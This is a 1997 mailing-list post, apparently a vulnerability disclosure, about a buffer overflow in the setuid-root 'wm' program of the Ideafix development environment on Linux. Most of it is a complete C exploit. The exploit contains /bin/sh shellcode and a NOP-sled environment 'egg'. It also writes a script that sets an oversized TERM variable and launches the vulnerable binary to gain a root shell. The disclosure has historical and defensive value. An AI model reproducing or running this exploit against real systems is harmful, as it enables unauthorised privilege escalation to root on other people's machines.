(no subject)

Bst Perez Companc (bst@INAME.COM)
Sun, 19 Oct 1997 05:04:18 -0400

A vulnerability exist in the package Ideafix distributed with several
versions of linux. [ ftp://sunsite.unc.edu/pub/Linux/devel/ideafix ]
[ ftp://ftp.inter-soft.com/pub/ideafix ].
This is a very popular development enviroment here in Argentina.
Due to the lack of proper bounds checking in the setuid root program wm, the
enviroment variable TERM is copied into a local fixedsize buffer, you guess
it, a shell with euid=0

Comments: bisti <bst@iname.com>
Greetz to fidel, larry, rb, rnt, veida.

[--------------------------- wm_exp.c ---------------------------]

/*
* 'Ideafix wm' Exploit 4 Linux.
*/

#include <stdio.h>
#include <stdlib.h>

#define TERMSIZE 2000
#define HUEVOSIZE 5000

char *shell =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

long
esp(void)
{
__asm__("movl %esp,%eax\n");
}

int
main(void)
{

char *ptr, *bof, *egg;
long *addr_ptr, addr;
int i;

if ( !(bof = malloc(TERMSIZE)) ) {
printf("NoMoreMemory4bof.\n");
exit(1);
}

if ( !(egg = malloc(HUEVOSIZE)) ) {
printf("NoMoreMemory4egg.\n");
exit(1);
}

addr = esp();

addr_ptr = (long *) bof;
for (i = 0; i < TERMSIZE; i += 4)
*(addr_ptr++) = addr;

ptr = egg;
for (i = 0; i <= HUEVOSIZE - strlen(shell) - 2; i++)
*(ptr++) = 0x90;

for( i = 0; i < strlen(shell); i++)
*(ptr++) = shell[i];

bof[TERMSIZE - 1] = '\0';
egg[HUEVOSIZE - 1] = '\0';

memcpy(bof, "BOF=", 4);
memcpy(egg , "EGG=", 4);

putenv(bof);
putenv(egg);

system("echo '#!/bin/sh' >> doit");
system("echo -n '# We kill any instance of wm, set TERM, ' >> doit");
system("echo 'and run the vulnerable program.' >> doit");
system("echo '# Bisti [111097]' >> doit");
system("echo 'killall wm' >> doit");
system("echo 'TERM=$BOF;export TERM' >> doit");
system("echo '/usr/local/inter-soft/ideafix-4.3.2/bin/wm' >> doit");

system("sh ./doit");

}
[---------------------------------------------------------------------------]